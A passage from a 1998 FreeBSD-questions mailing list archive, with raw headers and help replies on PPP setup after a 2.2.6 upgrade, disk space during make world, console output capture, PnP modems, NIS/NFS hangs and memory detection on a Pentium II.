>>www.merchantsnet.com >>---------------------------------------------- >>"Humility has no equal in the >>battle for knowledge" >>-- >> >> >> >>To Unsubscribe: send mail to majordomo@FreeBSD.org >>with "unsubscribe freebsd-questions" in the body of the message >> >> > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 22:43:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA22435 for freebsd-questions-outgoing; Tue, 7 Apr 1998 22:43:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from enterprise.tht.net (root@tht.net [209.47.145.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id WAA22429 for ; Tue, 7 Apr 1998 22:43:26 -0700 (PDT) (envelope-from beef@tht.net) Received: from tht.net(really [209.47.145.231]) by enterprise.tht.net via sendmail with esmtp id for ; Wed, 8 Apr 1998 01:42:31 -0400 (EDT) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Mar-7) Message-ID: <352B1C69.EC5A1067@tht.net> Date: Wed, 08 Apr 1998 02:42:50 -0400 From: Lanny Baron Organization: York Hill Foods X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: can't get a PPP connection with 2.2.6..(boot.flp) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I have upgraded to 2.2.6 and had to rm * the entire disk as the cvsupit caused /usr to go to 108%. But then that may be my problem for not knowing all the ins and outs of upgrading. To the problem at hand. I did have a running 2.2.5 which I received via ftp. I have had no problems with ppp after reading the handbook and some other sources from FreeBSD. With 2.2.6 this seems to have changed. I can't get a PPP connection but get a ppp connection which is obviously useless. I have not changed ISP's nor have I changed what I put in for the settings for ppp. I have tried using 10.0.0.1/0 as my IP address along with 0 as the ISP's address. When I do connect, I see the send and read lights of the modem (USR 56K) going very fast together. I do not have any idea as to what the cause is. I have tried using "set authname" and "set authkey" with their true setting. All but for no luck. As I have said above, I had no problem in text mode to do, ppp, dial (isp name) as I had a working ppp.conf and ppp.linkup, to get a full PPP connection. Hope someone here can help me out Thanks in advance for any help which you may be able to offer Lanny Baron To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 23:44:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA28181 for freebsd-questions-outgoing; Tue, 7 Apr 1998 23:44:03 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cyclone.degnet.baynet.de (www.degnet.baynet.de [194.95.214.129]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id XAA28147 for ; Tue, 7 Apr 1998 23:43:53 -0700 (PDT) (envelope-from malte@webmore.com) Received: from bachus (unverified [194.95.214.175]) by cyclone.degnet.baynet.de (EMWAC SMTPRS 0.83) with SMTP id ; Wed, 08 Apr 1998 08:41:44 +0200 Message-Id: <3.0.32.19980408083139.006ddf60@cyclone.degnet.baynet.de> X-Sender: moos@cyclone.degnet.baynet.de (Unverified) X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 08 Apr 1998 08:31:40 +0000 To: Random Junk From: Malte Lance Subject: Re: 2.2.6 unstable Cc: questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 11:21 07.04.98 -0700, you wrote: >i installed 2.2.6 on a totally virgin system. pentium pro 200, 128M >RAM, 4G seagate disk, adaptec 2940. i've used that configuration >successfully before. Which IRQ does your adaptec use ? (Just asking because the symptoms are the same i had with my hangs. Resetting the machine did not help; xterms where seg-faulting with sig-11. I had always to power the machine off and on again.) Malte Lance. malte@webmore.com >Apr 7 07:14:00 flaya /kernel: pid 126 (cron), uid 0: exited on signal 11 >Apr 7 07:14:14 flaya /kernel: pid 130 (sendmail), uid 0: exited on signal 11 >Apr 7 11:10:10 flaya /kernel: pid 6413 (inetd), uid 0: exited on signal 11 >Apr 7 11:10:11 flaya /kernel: pid 6414 (inetd), uid 0: exited on signal 11 >Apr 7 11:10:20 flaya /kernel: pid 6415 (inetd), uid 0: exited on signal 11 >Apr 7 11:11:39 flaya /kernel: pid 188 (getty), uid 0: exited on signal 11 (core dumped) >Apr 7 11:11:39 flaya /kernel: pid 6416 (getty), uid 0: exited on signal 5 (core dumped) >Apr 7 11:11:39 flaya /kernel: pid 6417 (getty), uid 0: exited on signal 5 (core dumped) >Apr 7 11:11:39 flaya /kernel: pid 6418 (getty), uid 0: exited on signal 5 (core dumped) >Apr 7 11:11:57 flaya /kernel: pid 189 (getty), uid 0: exited on signal 11 (core dumped) >Apr 7 11:12:24 flaya /kernel: pid 187 (getty), uid 0: exited on signal 11 (core dumped) > > >those gettys were me trying to log in on the console... i'd type in >"root" at the login: prompt and it would core dump each time. > >finally i had to power cycle it. > >now it's chugging along nicely but it's a real ticking time bomb. any >ideas? > >-- >Jon Drukman jsd@gamespot.com >----------------------------------------------------------------------- >Plan: Eat right, exercise regularly, die anyway. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 23:51:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA28861 for freebsd-questions-outgoing; Tue, 7 Apr 1998 23:51:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA28855 for ; Tue, 7 Apr 1998 23:51:15 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA27795; Tue, 7 Apr 1998 23:51:12 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 23:51:12 -0700 (PDT) From: Doug White Reply-To: Doug White To: Wong Horn Lim cc: questions@FreeBSD.ORG Subject: Re: Problem of upgrade from 2.2.5_RELEASE to 2.2.6_RELEASE In-Reply-To: <3.0.3.32.19980408094536.008d0210@mail.asiapac.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Wong Horn Lim wrote: > Guys, > Recently I got the step by step guide on how to upgrade > my freebsd 2.2.5-Release to 2.2.6-Release, and and I attach > the guide below. > The problem I am having is on step #7, 'make world', it > fill up my /usr partition, and here is the the last few line > of error message I got [deletia] If you can't upgrade via source, then use the 2.2.6 boot floppy and select the upgrade option. This way everything has been compiled for you. You can even put the files on the local machine and mount the local filesystems to grab them. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 23:52:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA29105 for freebsd-questions-outgoing; Tue, 7 Apr 1998 23:52:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA29083 for ; Tue, 7 Apr 1998 23:51:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA27799; Tue, 7 Apr 1998 23:51:51 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 23:51:51 -0700 (PDT) From: Doug White Reply-To: Doug White To: Kenneth Legg cc: freebsd-questions@FreeBSD.ORG Subject: Re: Having no luck In-Reply-To: <352AD82D.28DE10B4@newwave.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Kenneth Legg wrote: > I bought the FreeBSD CDROM and I have a Tandy Sensation with a 100 meg > hard drive and a 50 mhz (has been upgraded) processor, no cdrom but I > have a parallel port zip drive and access to a computer with cdrom is > there a way that I can install Freebsd by coping the files to zip. No; the parallel Zip is not supported by the install floppy. FreeBSD will be tight in 100MB. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 23:54:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA29655 for freebsd-questions-outgoing; Tue, 7 Apr 1998 23:54:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA29616 for ; Tue, 7 Apr 1998 23:54:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA27803; Tue, 7 Apr 1998 23:53:31 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 23:53:31 -0700 (PDT) From: Doug White Reply-To: Doug White To: brian@litzinger.com cc: freebsd-questions@FreeBSD.ORG Subject: Re: Netwave AirSurfer? In-Reply-To: <19980407201322.A2287@top.worldcontrol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998 brian@litzinger.com wrote: > Does anyone know if the Netwave Airsurfer PC Card works with FreeBSD. Check PAO, it may be there. (PC Card == PCMCIA card, or is this an ISA card?) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 23:56:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA29952 for freebsd-questions-outgoing; Tue, 7 Apr 1998 23:56:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA29946 for ; Tue, 7 Apr 1998 23:56:08 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA27810; Tue, 7 Apr 1998 23:56:07 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 23:56:07 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Anthony E. Coley" cc: "questions@FreeBSD.ORG" Subject: Re: saving screen output? In-Reply-To: <352AEC62.470F38CF@sohopros.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Anthony E. Coley wrote: > Can someone point me in the right direction to find out how to > capture screen output, > (error messages and such). I would like to be able to capture them > so I can get help > on some error messages that I periodically get. It's easy if you're using X Windows, but if you're using the console you will want to set up moused to do X style copy-n-paste. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 23:58:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA00539 for freebsd-questions-outgoing; Tue, 7 Apr 1998 23:58:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA00504 for ; Tue, 7 Apr 1998 23:58:12 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA27814; Tue, 7 Apr 1998 23:58:11 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 23:58:11 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dave Marquardt cc: freebsd-questions@FreeBSD.ORG Subject: Re: Modems. In-Reply-To: <85hg45c7ev.fsf@localhost.zilker.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 7 Apr 1998, Dave Marquardt wrote: > > > The FAQs and handbook are a little sparse on PnP, unfortunately. > > > > 2.2.6 was the first release with PnP. If there are gotcha's by all means > > let us know so we can put them somewhere, even if the only place we have > > is my brain. :) > > Well, when I said it was sparse, I guess I should have said "Almost > nothing at all." Seriously, I cvsup the doc stuff the same time I > cvsup'd 2.2.6-RELEASE, and there's a section in the FAQ on how PnP > devices are detected and initialized, but not really the mechanics of > playing with the USERCONFIG stuff in the kernel after booting with -c. > I would have thought such an important new feature would be better > documented. Oh well, I can understand how one runs out of time. The > pnpinfo and pnp and dset man pages are okay, but if you're not all > that familiar with Plug n Play stuff, they don't quite tell you what > to do. The only documentation you really _need_ is how to enable it -- compile ``controller pnp0'' into your kernel. Hey, it's Plug&Pray, it's supposed to Just Work, right? :-) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:04:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA01588 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:04:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA01547 for ; Wed, 8 Apr 1998 00:03:56 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id IAA10351; Wed, 8 Apr 1998 08:01:42 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804080701.IAA10351@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Malte Lance cc: Holger Baust , questions@FreeBSD.ORG Subject: Re: FreeBSD 2.1.5 and Linux PPP-Link In-reply-to: Your message of "Tue, 07 Apr 1998 11:27:50 -0000." <3.0.32.19980407112750.006d2b04@cyclone.degnet.baynet.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Apr 1998 08:01:42 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [.....] > Brian ... could you point holger to the latest sources of user-ppp ? http://www.FreeBSD.org/~brian. It's also worth while manually installing ppp.*.sample in /etc/ppp. [.....] -- Brian , , Don't _EVER_ lose your sense of humour.... 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X-Mailer: Mozilla 3.04 (WinNT; U) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Pentium II and large RAM support? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I have installed FreeBSD 2.2.2 on my Pentium II with 128MB memory. But after the FreeBSD boot up, the system detect my PC as Pentium Pro and 66MB memory. The following is the portion of 'dmesg' >FreeBSD 2.2.2-RELEASE #0: Tue May 20 10:45:24 GMT 1997 > jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC >CPU: Pentium Pro (233.86-MHz 686-class CPU) >real memory = 68091904 (66496K bytes) >avail memory = 63389696 (61904K bytes) I don't much care about the CPU but the memory only get detected half of the size. Is this really the limit of FreeBSD? Or is there a new released version that I need to obtain to get large memory support? Your help or any response will be very appreciated. Thank you. -eric chen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:04:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA01937 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:04:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [194.93.177.113]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA01635 for ; Wed, 8 Apr 1998 00:04:13 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.8.8/8.8.8) id KAA22714; Wed, 8 Apr 1998 10:03:44 +0300 (EEST) (envelope-from ru) Message-ID: <19980408100343.58764@ucb.crimea.ua> Date: Wed, 8 Apr 1998 10:03:43 +0300 From: Ruslan Ermilov To: "questions@FreeBSD.ORG" Subject: Re: saving screen output? Mail-Followup-To: "questions@FreeBSD.ORG" References: <352AEC62.470F38CF@sohopros.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: <352AEC62.470F38CF@sohopros.com>; from Anthony E. Coley on Tue, Apr 07, 1998 at 10:17:55PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Apr 07, 1998 at 10:17:55PM -0500, Anthony E. Coley wrote: > Can someone point me in the right direction to find out how to > capture screen output, > (error messages and such). I would like to be able to capture them > so I can get help > on some error messages that I periodically get. See script(1). Regards, -- Ruslan Ermilov System Administrator ru@ucb.crimea.ua United Commercial Bank +380-652-247647 Simferopol, Crimea 2426679 ICQ Network, UIN To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:05:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA02307 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:05:33 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA02286 for ; Wed, 8 Apr 1998 00:05:24 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA27827; Wed, 8 Apr 1998 00:05:22 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 00:05:22 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Marco A. Barbosa S." cc: freebsd-questions@FreeBSD.ORG Subject: Re: nis/nfs problem (continued...) In-Reply-To: <199804080358.UAA26581@fciencias.ens.uabc.mx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Marco A. Barbosa S. wrote: > >> network segment on LAN (novell netware,ethernet,thin coax ) > >> is ok, but Xcalibur gets stuck. If someone is logged in > >> Fciencias, they still have net access to everywhere, > >> but Xcalibur gets isolated. Any user in Fciencias, loses > >> files and noone else can login due to nis/dns failure. > > > >Why does Xcalibur get stuck? How? Please be more specific. Can you ping > >it? Can you connect out OK from xcalibur? > > sorry, I had specified all of that in an earlier mail... (try 1) but > I kinda sent it to the owner I think... *chuckle* that is what the > previous "ooops" was about... > > > ok... stuck, as in... no more Xcalibur, noone on the network > can connect to it... it does not exist... well, some times > if you leave a telnet long enough to it, after 3 + minutes > it gives you the ^] thing to tell you you can disconnect with > it.. but nothing more... Okay, we've established that you can't contact Xcalibur when it goes brain dead. Now, can Xcalibur connect to anyone during this period, ie if you're sitting at the console can you ping/telnet anywhere? > >Either xcalibur is going south or your network is going south. Hangups > >on the client sound like a loss of NIS connecivity, and a later > >reconnection. You should get log entries when the NIS connection is lost > >and regained. > > South? what do you mean south? It's an expression meaning that it stopped working -- it went on vacation, probably to a warm vacation spot south of us :) > Mar 26 20:13:25 Fciencias su: mbarbosa to root on /dev/ttyp3 > Mar 26 20:24:26 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding > Mar 26 20:24:31 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=1 ierr=0 out=1 oerr=2 Routed notices. > Mar 26 20:28:27 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding Hm, nfs notices that it goes away too. > >Perhaps a daemon is going nuts? Check top. > > yes, that is my latest guess... otherwise, it would not have been > fixed with the -HUPing... any ideas? btw, I am kinda in spring > break.. *chuckle* else I would have replied sooner... sorry. No, actually, HUPping everything may fix it since it encourages the server to dump all outstanding connections and reinitialize itself. Or it's some very simple server that HUPping kills completely. What type of NIC is in Xcalibur, and what type of network is it connected to? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:05:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA02322 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:05:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA02302 for ; Wed, 8 Apr 1998 00:05:28 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id HAA10333; Wed, 8 Apr 1998 07:59:26 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804080659.HAA10333@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Holger Baust cc: questions@FreeBSD.ORG Subject: Re: FreeBSD 2.1.5 and Linux PPP-Link In-reply-to: Your message of "Tue, 07 Apr 1998 09:09:54 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Apr 1998 07:59:25 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi ! > > The Userland PPP Hack of brian Sommers runs on 2.1.5 ??? Only if you build it on 2.1.5..... > The only binary Version is for 2.2.5. > Or is it Possible to get a running Version (perhaps the one of Malte) via > MIME attachment ??? > > > > Regards, > Holger Baust > > -- > > Holger Baust, Technik und Internet Services > impuls GmbH TeleFon: +49-2151-8533 > email: hbaust@impuls-kr.de TeleFax: +49-2151-853401 > http://www.impuls-kr.de/~hbaust http://www.impuls-kr.de -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:09:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA03651 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:09:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA03599 for ; Wed, 8 Apr 1998 00:09:12 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA27834; Wed, 8 Apr 1998 00:08:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 00:08:59 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Michael P. Sale" cc: freebsd-questions@FreeBSD.ORG, Capriotti Subject: Re: newbie ppp question. In-Reply-To: <01bd62ad$b9dbdca0$5906bccc@708644668> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Michael P. Sale wrote: > Thanks for the great info! The default clue helped a lot and the ppp only > in root bit was a new one too. > > I am still having problems, but getting closer. > > ppp seems a little buggy. I will actually have to initiate it and CTL-C 3-7 > times before I get the ppp ON freebsd> prompt. Strange. > > Once it get initiated, I will do a >dial impulse. At this point, it dials > just fine, but seems to hang suspened in negotiation. The modem stays up, > but I never go past the > ppp ON freebsd> I suspect ppp or pap is failing somewhere, but won't know > for shure untill I get in touch with the NAS/radius guy toomorrow. Does > anyone know of a way to go into a debug mode to watch the negotiation? Take a look in ppp.conf.sample and the totally abusive `set log' command. If you're using it, then /var/log/ppp.log will be huge :-) Mine looks like: set log Phase Chat Connect Carrier hdlc LCP IPCP CCP tun Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:11:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA04115 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:11:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA04110 for ; Wed, 8 Apr 1998 00:11:28 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA27841; Wed, 8 Apr 1998 00:11:23 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 00:11:22 -0700 (PDT) From: Doug White Reply-To: Doug White To: Lanny Baron cc: freebsd-questions@FreeBSD.ORG Subject: Re: can't get a PPP connection with 2.2.6..(boot.flp) In-Reply-To: <352B1C69.EC5A1067@tht.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Lanny Baron wrote: > I have upgraded to 2.2.6 and had to rm * the entire disk as the > cvsupit caused /usr to go to 108%. But then that may be my problem for > not knowing all the ins and outs of upgrading. Hm, tried to download the source without enough space, eh? :-) All you had to do was rm -rf /usr/src to get back to normal, then boot the 2.2.6 boot floppy & select `upgrade'. > To the problem at hand. I did have a running 2.2.5 which I received > via ftp. I have had no problems with ppp after reading the handbook and > some other sources from FreeBSD. With 2.2.6 this seems to have changed. > I can't get a PPP connection but get a ppp connection which is obviously > useless. I have not changed ISP's nor have I changed what I put in for > the settings for ppp. I have tried using 10.0.0.1/0 as my IP address > along with 0 as the ISP's address. Hm, from the 2.2.6 boot.flp we can't enable the abuse amounts of logging necessary to figure out what's going on. Perhaps you could download the dists to the 2.2.5 box and set it up as a FTP server? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 00:12:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA04396 for freebsd-questions-outgoing; Wed, 8 Apr 1998 00:12:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA04388 for ; Wed, 8 Apr 1998 00:12:49 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA27846; Wed, 8 Apr 1998 00:12:47 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Wed, 8 Apr 1998 00:12:47 -0700 (PDT) From: Doug White Reply-To: Doug White To: service cc: freebsd-questions@FreeBSD.ORG Subject: Re: Pentium II and large RAM support? In-Reply-To: <352B2169.3F47@casecom.com> 